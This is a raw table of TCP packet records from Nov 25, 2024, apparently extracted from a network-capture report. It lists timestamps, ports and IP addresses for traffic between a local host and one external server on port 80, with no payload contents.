Nov 25, 2024 05:46:23.770900965 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.770957947 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.770993948 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.771049023 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.772113085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.772166014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.772205114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.772247076 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.773261070 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.773332119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.773369074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.773426056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.774434090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.774497986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.774534941 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.774573088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.775619984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.775686979 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.775726080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.775774956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.776806116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.776874065 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.776917934 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.776971102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.778003931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.778070927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.778085947 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.778114080 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.779166937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.779223919 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.779277086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.779331923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.780350924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.780406952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.780445099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.780616045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.781517029 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.781586885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.781625032 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.781688929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.782690048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.782773972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.782799959 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.782860041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.783870935 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.783982038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.784008026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.784038067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.785059929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.785135031 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.785166025 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.785213947 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.786245108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.786297083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.786324024 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.786469936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.793342113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.793405056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.793438911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.793438911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.793884039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.793971062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.794118881 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.794178009 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.794215918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.794321060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.795319080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.795375109 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.795413017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.795463085 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.796478033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.796547890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.796581984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.796791077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.797657013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.797709942 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.797758102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.797846079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.798831940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.798901081 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.798939943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.799161911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.800012112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.800101042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.800120115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.800215006 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.801193953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.801282883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.801289082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.801342010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.802370071 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.802429914 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.802467108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.802515030 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.803550005 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.803617001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.803639889 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.803689003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.865215063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.865349054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.865366936 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.865405083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.865430117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.865475893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.865531921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.865737915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.866348028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.866389036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.866507053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.866553068 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.867240906 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.867291927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.867304087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.867341042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.868129969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.868190050 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.868278980 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.868351936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.869029045 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.869112015 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.869127989 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.869230986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.869920969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.870033979 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.870037079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.870223045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.870815992 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.870893002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.870930910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.871083021 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.871740103 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.871794939 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.871841908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.871947050 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.872620106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.872699022 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.872730017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.873009920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.873532057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.873601913 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.873641014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.873697996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.874420881 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.874474049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.874511003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.874561071 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.875329018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.875372887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.875437021 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.875641108 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.876288891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.876346111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.876400948 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.876476049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.877115011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.877202988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.877233982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.877271891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.878001928 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.878077984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.878112078 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.878242016 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.878912926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.879014015 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.879033089 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.879137993 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.879807949 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.879862070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.879936934 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.880120039 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.880712032 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.880776882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.880845070 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.880922079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.881623030 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.881735086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.881748915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.881792068 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.882503986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.882548094 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.882612944 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.882849932 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.883421898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.883507013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.883519888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.883629084 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.884320974 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.884386063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.884428024 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.884610891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.885217905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.885293007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.885343075 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.885390043 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.886101007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.886194944 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.886262894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.886347055 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.887016058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.887113094 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.887140036 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.887897968 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.887912035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.887980938 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.888003111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.888365030 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.969310999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.969400883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.969438076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.969485998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.969675064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.969724894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.969747066 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.969809055 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.970590115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.970649004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.970666885 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.970714092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.971306086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.971354008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.971396923 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.971458912 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.972196102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.972244024 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.972306967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.972374916 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.973097086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.973160028 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.973267078 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.973324060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.973989010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.974047899 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.974098921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.974153042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.975023985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.975075006 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.975090981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.975136042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.975792885 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.975850105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.975883007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.975936890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.976689100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.976825953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.976828098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.976912975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.977597952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.977653980 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.977751017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.977853060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.978511095 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.978638887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.978650093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.978715897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.979393959 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.979480982 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.979517937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.979571104 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.980279922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.980340958 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.980386019 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.980492115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.981189013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.981244087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.981323004 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.981379986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.982085943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.982193947 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.982203007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.982240915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.983016014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.983091116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.983118057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.983161926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.994618893 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.994692087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.994724035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.994771957 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.995104074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.995121002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.995178938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.995178938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.995765924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.995841026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.995877981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.995928049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.996737003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.996829987 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.996865034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.996948004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.997572899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.997620106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.997639894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.997667074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.998472929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.998563051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.998589039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.998641014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.999350071 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.999397993 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:23.999448061 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:23.999531984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.000237942 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.000293970 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.000297070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.000412941 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.001211882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.001324892 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.001342058 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.001386881 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.002060890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.002123117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.002161980 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.002208948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.002942085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.002994061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.066607952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.066812992 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.066854000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.066854000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.067047119 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.067270041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.067295074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.067329884 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.067965031 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.068059921 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.068078041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.068141937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.068862915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.068938971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.068977118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.069040060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.069762945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.069844961 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.070163012 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.070269108 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.070688009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.070744991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.070782900 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.070827007 CET	49724	80	192.168.2.6	185.215.113.206
